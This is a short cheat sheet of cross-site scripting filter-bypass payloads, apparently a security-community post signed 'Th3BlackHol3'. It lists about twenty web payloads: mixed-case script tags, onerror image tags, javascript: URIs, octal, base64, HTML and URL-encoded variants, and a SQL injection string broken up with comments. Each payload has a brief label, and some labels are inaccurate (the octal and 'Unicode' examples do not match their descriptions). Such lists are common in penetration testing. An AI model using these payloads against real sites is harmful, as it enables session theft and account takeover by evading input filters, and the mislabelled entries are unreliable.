⚪ XSS REGEX BYPASS

<sCrIpT>alert(XSS)</sCriPt>

✔ Changing the case of the tag

<<script>alert(XSS)</script>

✔ Prepending an additional "<"

<script>alert(XSS) //

✔ Removing the closing tag

<script>alert`XSS`</script>

✔ Using backticks instead of parenetheses

java%0ascript:alert(1)

✔ Using encoded newline characters

```
<iframe src=malicous.com <
```
✔ Double open angle brackets

```
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE>
```
✔ Uncommon tags

```
<img/src=1/onerror=alert(0)>
```
✔ Bypass space filter by using / where a space is expected

```
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a>
```
✔ Extra characters

```
Function("ale"+"rt(1)")();
```
✔ Using uncommon functions besides alert, console.log, and prompt

```
javascript:74163166147401571561541571411447514115414516216450615176
```
✔ Octal encoding

```
<iframe src="javascript:alert(`xss`)">
```
✔ Unicode encoding

```
/?id=1+un/**/ion+sel/**/ect+1,2,3--
```
✔ Using comments in SQL query to break up statement

```
new Function`alt\`6\``;
```

✓ Using backticks instead of parentheses

```
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
```

✓ Base64 encoding the javascript

```
%26%2397;lert(1)
```

✓ Using HTML encoding

```
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)">
```

✓ Using Line Feed (LF) line breaks

```
<BODY onload!#$%&()*~+-_.,:;?@[/|
\]^`=confirm()>
```
✔ Use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine).

---- Th3BlackHol3 ----